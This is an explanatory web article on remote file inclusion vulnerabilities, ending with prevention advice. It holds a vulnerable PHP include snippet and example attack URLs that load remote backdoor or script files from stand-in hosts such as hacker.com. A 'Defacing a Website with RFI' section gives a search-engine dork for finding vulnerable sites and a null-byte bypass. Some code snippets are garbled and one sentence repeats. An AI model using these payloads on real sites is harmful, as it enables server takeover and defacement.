Remote file inclusion (RFI) is an attack that targets vulnerabilities present in web applications that dynamically reference external scripts. The offender aims at exploiting the referencing function in an application in order to upload malware from a remote URL located in a different domain. Successful RFI attacks lead to compromised servers, information theft, and a site takeover that permits modification of content.
Remote File Inclusion Vulnerability Examples
Following are examples of RFI vulnerability:
- A JSP page containing this line of code: ”> can be manipulated with the following request: Page1.jsp?ParamName=/WEB-INF/DB/password. Processing the request discloses the content of the password file to the perpetrator.
- A web application contains an import statement that requests content from a URL address, as presented here: ”>. If unsanitized, the same statement can be employed for malware injection. For example: Page2.jsp?conf=https://evilsite.com/attack.js.
- RFI attacks are mostly launched by manipulating the request parameters to refer to a remote malicious file. For example, consider the below given code:
$incfile = $_REQUEST[“file”]; include($incfile.”.php”);
Here, the very first line extracts the file parameter value from the HTTP request, while the second line employs that value to dynamically set the filename. This code can be exploited for unauthorized file uploads when suitable sanitization of the file parameter value is not available.
For example, this URL string http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_ comprises of an external reference to a backdoor file stored in a remote location (http://www.hacker.com/backdoor_shell.php.)
After getting uploaded to the application, this backdoor can be employed for hijacking the basic server or gaining access to the application database.
After getting uploaded to the application, this backdoor can be employed for hijacking the basic server or gaining access to the application database.
How does RFI Work?
To include a remote file, you will have to add a string with the URL of the file to an Include function of the respective language. The web server of the website under attack then makes a request to the remote file, fetches its contents and adds it on the web page serving the content. It then gets processed by the parser of the language.
Consider a developer who wishes to include a local file based on the GET parameter page. They have different files such as main.php, contact.php, and about.php, all of which provide different functionalities to the website. Each file can be called employing the following request:
https://example.com/index.php?page=contact.php
While the developer assumes that only files inside that folder are included, it could also be possible for an attacker to include files from another directory (LFI) or even from a completely different web server (RFI). Without a whitelist, the attacker will be able to change the file path to the programming language’s Include function. The attacker will be able to include a local file, but in a typical attack, the path can be changed to a file that exists on a server they control. In this way, malicious code can be easily written inside a file, without the need to poison logs or inject code inside the web server.
The impact of an exploited remote file inclusion vulnerability may differ based on the execution permissions of the web server user. Any included source code can be executed by the web server along with the privileges of the existing web server user, allowing the execution of arbitrary code. Full system compromise is also possible in instances when the web server user has administrative privileges.
Defacing a Website with RFI
RFI is considered to be a common vulnerability that permits the attacker to upload a malicious code or file on a server or website. All website hacking attacks are not exactly about SQL injection. By using RFI, you will be able to literally deface the websites, attain access to the server and practically play anything with the server. To hack a website or server with RFI, you will first need to find out an RFI vulnerable website. It is an established fact that finding a vulnerability is the very first step to hack a website or server. Hence, get started by:
- Going to Google and searching for the following query. inurl: “index.php?page=home”
- At the place of home, try some other pages like gallery, products etc.
- If you are already aware of an RFI vulnerable website, you need not find it via Google.
If it is a genuinely vulnerable website, then there could be three things that can happen:
- You will be able to notice that the url consisting of “page=home” had no extension. If you include an extension in the URL, the site may actually give an error like ‘failure to include maliciousScript.txt’. This can take place as the site may be automatically adding the .txt extension to the pages stored in a server.
- If it automatically adds something in the lines of .php, then we have to use a null byte ‘%00’ to avoid error.
- Successful execution.
RFI Prevention and Mitigation
To prevent RFI vulnerability exploitation, ensure that you disable the remote inclusion feature in your programming languages’ configuration, especially if you do not need it. In PHP, you can set allow_url_include to ‘0’. You should also verify user input before passing it to an Include function. The most preferred way to do this is with a whitelist of permitted files.
You can minimize the risk of RFI attacks via proper input validation and sanitization. However, keep in mind that it is important to avoid the misconception that all user inputs can be entirely sanitized. Consequently, sanitization should only be considered as a supplement to a genuine security solution. It is always better to sanitize user-supplied/controlled inputs to the best of your capability. These inputs include:
- URL parameters
- Cookie values
- GET/POST parameters
- HTTP header values
During the sanitization process, input fields will have to be checked against a whitelist instead of a blacklist. Blacklist validation is generally considered to be a weak solution because attackers can choose to supply input in a different format, such as hexadecimal or encoded formats. It is also good to apply output validation mechanisms on the server end. Client-side validation functions, holding the benefit of reducing processing overhead, are also considered to be vulnerable to attacks by proxy tools.
As a final tip, always consider restricting the execution of permission for the upload directories and make sure to maintain a whitelist of allowable file types besides restricting uploaded file sizes.